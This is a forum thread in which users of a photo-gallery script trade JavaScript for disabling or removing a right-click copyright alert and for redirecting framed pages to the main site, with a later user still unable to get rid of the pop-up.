Title: Re: Remove the right-click disabler / or remove only for Members
Post by: V@no on October 07, 2008, 02:13:32 PM
Actually, you might want to see how it's done on this site:
http://mess.be
they are using frames and if you try open a page directly it redirects you to the main page.
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: andu on October 07, 2008, 03:07:17 PM
Yes! that could be what i'm looking for.. but i can't  see the script that check that...
Might anybody help me?

Thanks!
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: V@no on October 07, 2008, 03:27:20 PM
Code: [Select]
<SCRIPT LANGUAGE="JavaScript">
<!--
if (top.frames.length == 0) {
    ver = parseInt(navigator.appVersion, 10);
    if ( ((navigator.appName == "Netscape") && (ver >= 3)) ||
         ((navigator.appName == "Microsoft Internet Explorer") && (ver >= 4)) )
      location.replace("http://www.yourdomain.com");
    else
      location = "http://www.yourdomain.com";
    };
//-->
</SCRIPT>
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: andu on October 08, 2008, 01:33:48 PM
Ok, i've tried but the middle butto keeps opening the link on a new window:
templates/default/header.htm
Quote
function right(e) {
   
    if (top.frames.length == 0) {
           ver = parseInt(navigator.appVersion, 10);
                if ( ((navigator.appName == "Netscape") && (ver >= 3)) ||((navigator.appName == "Microsoft Internet Explorer") && (ver >= 4)) )
                               location.replace("http://mydomain.com");
                else
                                location = "http://mydomain.com";
   }

    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3 || e.which == 1 || e.which == 4)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3 || event.button == 1 || event.button == 4) {
      alert("© Copyright by {site_name}");
      return false;
    }
  return true;
  }

Actually i don't know what i'm doing worng...  :roll:
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: V@no on October 08, 2008, 02:04:04 PM
Just add that code between <head></head> tags, not inside a function.
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: andu on October 08, 2008, 02:24:48 PM
Many thanks!!!

Now it does work perfectly!

Thank you! :D
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: Patric81 on January 16, 2022, 10:10:28 AM
I did the upgrade these days on 1.9 and there is the right click pop up. "Copyright by 4images ... I tried to use everything what you've posted here but nothing seems to work. The pop up still comes even when I remove the function lines in the header html.

What can I do ?

This is the header line

Quote
<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
   var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
        document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
      } else {
        document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
      }

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

   function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }
 
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

   document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

// -->
</script>
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: Sunny C. on January 19, 2022, 01:38:01 PM
Replace to

Code: [Select]
<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
   var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
        document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
      } else {
        document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
      }

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

   function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }

// -->
</script>
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: Patric81 on January 19, 2022, 06:58:50 PM
I replaced it but still doesn't work